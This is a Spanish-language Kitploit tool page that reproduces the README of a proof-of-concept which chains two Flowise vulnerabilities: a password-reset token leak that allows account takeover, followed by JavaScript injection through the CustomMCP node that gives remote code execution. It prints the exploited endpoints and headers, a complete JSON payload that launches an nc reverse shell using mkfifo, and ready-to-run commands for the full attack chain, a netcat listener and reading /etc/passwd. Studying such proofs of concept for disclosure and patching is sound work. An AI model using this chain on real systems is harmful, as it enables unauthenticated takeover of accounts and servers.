Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-58434-AND-59528-POC — PoC modular para CVE-2025-58434 (toma de control de cuenta) y CVE-2025-59528 (RCE) en Flowise. Automatiza la cadena de ataque completa desde la fuga de token no autenticado hasta la ejecución remota de código mediante reverse shell o comando personalizado. | Kitploit
Herramientas/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubkartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC modular para CVE-2025-58434 (toma de control de cuenta) y CVE-2025-59528 (RCE) en Flowise. Automatiza la cadena de ataque completa desde la fuga de token no autenticado hasta la ejecución remota de código mediante reverse shell o comando personalizado.

Ver Repositorio
1910hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Solo para fines educativos e investigación de seguridad autorizada.
Ejecutar esta herramienta contra sistemas que no poseas o sin permiso por escrito para realizar pruebas es ilegal.


Tabla de contenido

  • Overview
  • Detalles de la vulnerabilidad
    • CVE-2025-58434 — Toma de control de cuenta
    • CVE-2025-59528 — Ejecución remota de código
  • Cadena de ataque completa
  • Versiones afectadas
  • Estructura del repositorio
  • Requisitos
  • Instalación
  • Uso
    • Comportamiento predeterminado
    • Pantalla de ayuda
    • Modo cadena
    • Módulo — ATO
    • Módulo — Login
    • Módulo — RCE
  • Referencia de flags
  • Reverse shell vs comando personalizado
  • Ejemplo de salida
  • Remediación
  • Cronología de divulgación
  • Referencias
  • Aviso legal

Descripción general

Este repositorio combina dos vulnerabilidades críticas en Flowise en una sola herramienta PoC modular.

CVE-2025-58434CVE-2025-59528
TipoToma de control de cuentaEjecución remota de código
Auth requeridaNingunaSí (cualquier cuenta válida)
CVSS9.8 CríticoCrítico
AfectadoCloud + AutogestionadoAutogestionado

Las dos vulnerabilidades se encadenan de forma natural: CVE-2025-58434 proporciona una toma de control de cuenta sin autenticar, lo que satisface el requisito de autenticación para CVE-2025-59528 — logrando RCE sin autenticar en una sola ejecución automatizada.


Detalles de la vulnerabilidad

CVE-2025-58434 — Toma de control de cuenta

Causa raíz: El endpoint forgot-password devuelve el token de restablecimiento de contraseña (tempToken) directamente en el cuerpo de la respuesta HTTP en lugar de enviarlo solo por correo electrónico.

Pasos del ataque:

  1. POST /api/v1/account/forgot-password con cualquier correo electrónico registrado
  2. Leer tempToken de la respuesta JSON — sin necesidad de acceso al correo
  3. POST /api/v1/account/reset-password con el token filtrado → establecer una nueva contraseña
  4. Iniciar sesión como la víctima

Respuesta filtrada (recortada):

{
  "user": {
    "email": "[email protected]",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Ejecución remota de código

Causa raíz: El nodo CustomMCP pasa el mcpServerConfig proporcionado por el usuario directamente al constructor Function() de JavaScript sin sanitización. Dado que Flowise se ejecuta en Node.js, el código inyectado tiene acceso completo a child_process, fs y todos los módulos integrados de Node.js.

Ruta de código vulnerable:

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← entrada de usuario sin sanitizar

Encabezados requeridos:

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Payload de inyección predeterminado (reverse shell):

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Nota: Los payloads de reverse shell usan cp.exec() (asíncrono / dispara y olvida) para que la solicitud HTTP regrese inmediatamente y la herramienta no agote el tiempo de espera. Los comandos regulares usan cp.execSync() y devuelven la salida en línea.


Cadena de ataque completa

Atacante                              API de Flowise
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token filtrado en la respuesta
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken borrado)          │  ← ATO completado
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extraídas
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() se ejecuta en segundo plano]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Listener nc del atacante ←───────────── El servidor se conecta de vuelta
   ✓  RCE completo desde cero credenciales

Versiones afectadas

ComponenteEstado
Flowise Cloud (cloud.flowiseai.com)Afectado por CVE-2025-58434
Flowise autogestionado (todas las versiones anteriores al parche)Afectado por ambos CVEs

Consulta los avisos de seguridad oficiales de Flowise para los números de versión con parche.


Estructura del repositorio

flowise-dual-cve-poc/
├── flowise_poc.py      # PoC principal — todos los módulos + modo cadena
├── requirements.txt    # Dependencias de Python
├── README.md           # Este archivo
└── DISCLAIMER.md       # Aviso legal completo

Requisitos

  • Python 3.7+
  • Biblioteca requests

Instalación

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Uso

Comportamiento predeterminado

No se requiere ninguna flag de modo. Si ejecutas el script sin --chain o --module, se ejecuta automáticamente en modo cadena completo. El payload de RCE predeterminado es un reverse shell — solo proporciona --lhost y --lport.

# Invocación mínima — cadena completa + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 \
  --lport 4444

Inicia tu listener antes de ejecutar:

nc -lvnp 4444

Pantalla de ayuda

python3 flowise_poc.py -h

Modo cadena

Ejecuta los cuatro pasos de extremo a extremo: filtrar token → restablecer contraseña → iniciar sesión → RCE.

# Reverse shell (payload predeterminado)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  --lhost 10.10.16.35 --lport 4444

# Comando personalizado en lugar de reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e [email protected] \
  -c "cat /etc/passwd"
Descargar herramienta